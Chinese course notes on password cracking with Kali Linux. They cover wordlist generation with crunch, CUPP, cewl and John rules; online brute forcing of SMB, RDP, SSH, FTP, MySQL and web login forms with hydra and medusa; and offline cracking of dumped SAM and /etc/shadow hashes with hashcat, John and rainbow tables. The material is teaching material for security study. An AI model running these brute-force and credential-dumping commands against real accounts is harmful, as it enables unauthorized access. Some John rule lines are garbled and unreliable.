本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 密码破解简介
1. 思路
目标系统实施了强安全措施
- 安装了所有补丁
- 无任何已知漏洞
- 无应用层漏洞
- 攻击面最小化
社会工程学
获取目标系统用户身份
- 非授权用户不受信,认证用户可以访问守信资源
- 已知用户账号权限首先,需要提权
- 不会触发系统报警
2. 身份认证方法
证明你是你声称你是的那个人
- 你知道什么(账号密码、pin、passphrase)
- 你有什么(令牌、token、key、证书、密宝、手机)
- 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
- 以上方法结合使用
基于互联网的身份验证仍以账号密码为主要形式
3. 密码破解方法
人工猜解
- 垃圾桶工具
- 被动信息收集
基于字典暴力破解(主流)
- 键盘空间字符爆破
字典
- 保存有用户名和密码的文本文件
- /usr/share/wordlist
- /usr/share/wfuzz/wordlist
- /usr/share/seclists
4. 字典
1. 简介
键盘空间字符爆破
- 全键盘空间字符
- 部分键盘空间字符(基于规则)
- 数字、小写字母、大写字符、符号、空格、瑞典字符、高位 ASCII 码
2. crunch 创建密码字典
crunch [] [options]
- -b 按大小分割文件(kb/kib、mb/mib、gb/gib)
- -c 每个字典的行数
- 以上两个参数必须与 -o START 结合使用
-d 同一字符连贯出现数量(11/aaa)
root@kali:~# crunch 6 6 0123456789 -o START -d 2 -b 100mb root@kali:~# crunch 6 6 0123456789 -o START -d 2 -c 100
- 1
- 2
字符集
crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt
root@kali:~# file /usr/share/crunch/charset.lst root@kali:/usr/share/crunch# crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt root@kali:/usr/share/crunch# ll -h 1.txt -rw-r--r-- 1 root root 3.7M 4月 4 06:52 1.txt
- 1
- 2
- 3
- 4
无重复字符
crunch 1 1 -p 1234567890 | more
- 1
- 必须是最后一个参数
- 最大、最小字符长度失效,但必须存在
- 与 -s 参数不兼容(-s 指定起始字符串)
- crunch 4 4 0123456789 -s 9990
读取文件中每行内容作为基本字符生成字典
crunch 1 1 -q read.txt
- 1
字典组成规则
- crunch 6 6 -t @,%%^^ | more
- -t:按位进行生成密码字典
- @:小写字母 lalpha
- ,:大写字母 ualpha
- %:数字 numeric
- ^:符号 symbols
输出文件压缩
root@kali:~# crunch 4 5 -p dog cat bird
- 1
- -z:指定压缩格式
- 其他压缩格式:gzip、bzip2、lzma
- 7z压缩比率最大
指定字符集
root@kali:~# crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o w.txt -t @d@@ -s cdab
- 1
随机组合
root@kali:~# crunch 4 5 -p dog cat bird
- 1
crunch 5 5 abc DEF + !@# -t ,@^%,
- 在小写字符中使用abc范围,大写字符使用 DEF 范围,数字使用占位符,符号使用!@#
-
- 占位符
- \ 转义符(空格、符号)
占位符
root@kali:~# crunch 5 5 -t ddd%% -p dog cat bird
- 1
- 任何不同于 -p 参数指定的值都是占位符
指定特例
root@kali:~# crunch 5 5 -d 2@ -t @@@%%
- 1
- 2@:不超过两个连续相同字符
组合应用
- crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
- crunch 10 10 12345 –stdout | airolib-ng testdb -import passwd -
3. CUPP 按个人信息生成其专属的密码字典
CUPP:Common User Password Profiler
- git clone https://github.com/Mebus/cupp.git
- python cupp.py -i
4. cewl 通过收集网站信息生成字典
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
- -m:最小单词长度
- -d:爬网深度
- -e:收集包含email地址信息
- -c:每个单词出现次数
- 支持基本、摘要 身份认证
- 支持代理
5. 用户密码变型
- 基于 cewl 的结果进行密码变型
- 末尾增加数字串
- 字母大小写变化
- 字母与符号互相转换
- 字母与数字互相转换
- P@$$w0rd
6. 使用 John the Ripper 配置文件实现密码动态变型
/etc/john/john.conf
[List.Rules:Wordlist]
[0−9][0−9][0-9]$[0-9]
john --wordlist=cewl.txt --rules --stdout > m.txt
- 1
[List.Rules:test]
- [0−9][0−9]%^&*()-_=+]
john --wordlist=cewl.txt --rules=test --stdout > m.txt john --wordlist=ahm.lst --rules=test HASHFILE
- 1
- 2
2. 在线密码破解
1. hydra
简介
root@kali:~# hydra -hh Options: -R restore a previous aborted/crashed session -I ignore an existing restore file (don't wait 10 seconds) -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help -y disable use of symbols in bruteforce, see above -e nsr try "n" null password, "s" login as pass and/or "r" reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to attack, one entry per line, ':' to specify port -o FILE write found login/password pairs to FILE instead of stdout -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1 -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel per target (default: 16) -T TASKS run TASKS connects in parallel overall (for -M, default: 64) -w / -W TIME wait time for a response (32) / between connects per thread (0) -c TIME wait time per login attempt over all threads (enforces -t 1) -4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M) -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -O use old SSL v2 and v3 -q do not print messages about connection errors -U service module usage details -h more command line options (COMPLETE HELP) server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup. E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://) % export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries) % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080 % export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries) Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
密码破解
Windows 密码破解
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
- 1
# rdp 协议不稳定,容易漏判 hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV
- 1
- 2
Linux 密码破解
hydra -l root -P pass.txt ssh://10.10.10.132 -vV
- 1
其他服务密码破解
- hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64 -vV
图形化界面
- xhydra
HTTP表单身份认证
hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:S=index.php" -V hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=L in:Login Failed" -V /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H =X-Foo: Foo - C:先访问指定页面取得cookie - H:指定http头
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- https-post-form、http-get-form、https-get-form
- -S:使用SSL连接
密码破解效率
- 密码复杂度(字典命中率)
- 带宽、协议、服务器性能、客户端性能
- 锁定阈值
- 单位时间最大登陆请求次数
Hydra 的缺点
- 稳定性差,程序时常崩溃
- 速度控制不好,容易触发服务屏蔽或锁死机制
- 每主机新建进程,每服务新建实例
- 大量目标破解时性能差
2. pw-inspector
Hydra 小工具 pw-inspector
- 按长度和字符集筛选字典
- pw-inspector -i /usr/share/wordlists/nmap.lst -o p1.lst -l
- pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u
- pw-inspector -i /usr/share/wordlists/nmap.lst -o P2.lst -u -m 3 -M 5
3. medusa
Medusa 的特点
- 稳定性好
- 速度控制得当
- 基于线程
- 支持模块少于hydra(不支持RDP)
- WEB-Form 支持存在缺陷
查看支持的模块
root@kali:~# medusa -d
- 1
破解windows密码
# -M 指定模块名,使用 -d 可以查询 root@kali:~# medusa -M smbnt -h 10.10.10.137 -u kevin -P pass.txt -e ns -F
- 1
- 2
破解Linux SSH密码
# 使用 ssh 模块 root@kali:~# medusa -M ssh -h 10.10.10.132 -u root -P pass.txt -e ns –F
- 1
- 2
其他服务密码破解
root@kali:~# medusa -M mysql -h 10.10.10.132 -u root -P pass.txt -e ns -F
- 1
# 查看模块用法 root@kali:~# medusa -M web-form -q
- 1
- 2
# 表单身份认证 root@kali:~# medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORM-DATA:"post?user=username&pass=password&Login=Login"
- 1
- 2
参数
- -n:非默认端口
- -s:使用SSL连接
- -T:并发主机数
- medusa -M ftp -q
3. 离线密码破解
1. 简介
身份认证
- 禁止明文传输密码
- 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)
- 服务器端用户数据库应加盐加密保存
破解思路
- 嗅探获取密码HASH
- 利用漏洞登陆服务器并从用户数据库获取密码HASH
- 识别HASH类型
长度、字符集
- 利用离线破解工具碰撞密码HASH
优势
- 离线不会触发密码锁定机制
- 不会产生大量登陆失败日志引起管理员注意
2. HASH 识别工具
1. hash-identifier
进行 hash 计算
结果:5f4dcc3b5aa765d61d8327deb882cf99
进行 hash 识别
-
2. hashid
可能识别错误或无法识别
3. HASH 密码获取
1. samdump2
Windows HASH 获取工具
- 利用漏洞:Pwdump、fgdump、 mimikatz、wce
物理接触:samdump2
- 将待攻击主机关机
- 使用 Kali ISO 在线启动此主机
- 发现此 windows 机器安装有两块硬盘
mount /dev/sda1 /mnt
- 将硬盘挂载
- 将硬盘挂载
cd /mnt/Windows/System32/config
- 切换目录
- 切换目录
samdump2 SYSTEM SAM -o sam.hash
- 导出密码
- 导出密码
利用 nc 传输 HASH
HASH 值:31d6cfe0d16ae931b73c59d7e0c089c0
2. syskey 工具进行密码加密
使用 syskey 进行加密(会对 SAM 数据库进行加密)
重启需要输入密码才能进一步登录
使用 kali iso live
- 获取到 hash 值
- hashcat 很难破解
使用 bkhive 破解
- 使用 Bootkey 利用RC4算法加密 SAM 数据库
- Bootkey 保存于 SYSTEM 文件中
bkhive
- 从 SYSTEM 文件中提取 bootkey
- Kali 2.0 抛弃了 bkhive
- 编译安装 :http://http.us.debian.org/debian/pool/main/b/bkhive/
在windows的 kali live 模式下,运行
root@kali:/mnt/Windows/System32/config# bkhive SYSTEM key.txt root@kali:/mnt/Windows/System32/config# cat key.txt
- 1
- 2
samdump2 SAM key (版本已更新,不再支持此功能)
建议使用 Kali 1.x
1. Hashcat
简介
- 开源多线程密码破解工具
- 支持80多种加密算法破解
- 基于CPU的计算能力破解
六种模式 (-a 0)
- 0 Straight:字典破解
- 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)
- 2 Toggle case:尝试字典中所有密码的大小写字母组合
- 3 Brute force:指定字符集(或全部字符集)所有组合
- 4 Permutation:字典中密码的全部字符置换组合(12 21)
- 5 Table-lookup:程序为字典中所有密码自动生成掩码
命令
- hashcat -b
- hashcat -m 100 hash.txt pass.lst
- hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
- 结果:hashcat.pot
- hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max 8 ?l?l?l?l?l?l?l?l
掩码动态生成字典
- ?l = abcdefghijklmnopqrstuvwxyz
- ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
- ?d = 0123456789
- ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
- ?a = ?l?u?d?s
- ?b = 0x00 - 0xff
使用
生成文件
root@kali:~# echo 31d6cfe0d16ae931b73c59d7e0c089c0 > hash.txt
- 1
计算 hash 类型
root@kali:~# hash-identifier
- 1
结果 MD5
查看 MD5 代表的值
进行破解
root@kali:~# hashcat -m 0 hash.txt pass.txt
- 1
2. oclhashcat
简介
- 号称世界上最快、唯一的基于GPGPU的密码破解软件
- 免费开源、支持多平台、支持分布式、150+hash算法
- 硬件支持
- 虚拟机中无法使用
- 支持 CUDA 技术的Nvidia显卡
- 支持 OpenCL 技术的AMD显卡
- 安装相应的驱动
限制
- 最大密码长度 55 字符
- 使用Unicode的最大密码长度 27 字符
关于版本
- oclHashcat-plus、oclHashcat-lite 已经合并为 oclhashcat
命令
- oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
- ?l = abcdefghijklmnopqrstuvwxyz
- ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
- ?d = 0123456789
- ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
- ?a = ?l?u?d?s
- ?b = 0x00 - 0xff
3. RainbowCrack
简介
- 基于时间记忆权衡技术生成彩虹表
- 提前计算密码的HASH值,通过比对HASH值破解密码
- 计算HASH的速度很慢,修改版支持CUDA GPU
- 彩虹表
- 密码明文、HASH值、HASH算法、字符集、明文长度范围
KALI 中包含的 RainbowCrack 工具
- rtgen:预计算,生成彩虹表,时的阶段
- rtsort:对 rtgen 生成的彩虹表行排序
- rcrack:查找彩虹表破解密码
以上命令必须顺序使用
rtgen
- LanMan、NTLM、MD2、MD4、MD5、SHA1、SHA256、RIPEMD160
- rtgen md5 loweralpha 1 5 0 10000 10000 0
- 计算彩虹表时间可能很长
下载彩虹表
彩虹表排序
- /usr/share/rainbowcrack
- rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt
- 密码破解
- rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592
- rcrack *.rt -l hash.txt
4. John
简介
- 基于 CPU
支持众多服务应用的加密破解
root@kali:~# john --list=formats
- 1
支持某些对称加密算法破解
模式
- Wordlist:基于规则的字典破解
- Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
- Incremental:所有或指定字符集的暴力破解
- External:需要在主配配文件中用C语言子集编程
默认破解模式
- Single、wordlist、incremental
- 主配置文件中指定默认wordlist
破解Linux系统账号密码
root@kali:~# unshadow /etc/passwd /etc/shadow > pass.txt root@kali:~# john pass.txt root@kali:~# john --show pass
- 1
- 2
- 3
破解windows密码
root@kali:~# john hash.txt --wordlist=/usr/share/john/password.lst --format=nt root@kali:~# john sam.dump --format=nt --show
- 1
- 2
Johnny 图形化界面的john
5. ophcrack
简介
- 基于彩虹表的LM、NTLM密码破解软件
- 彩虹表:http://ophcrack.sourceforge.net/tables.php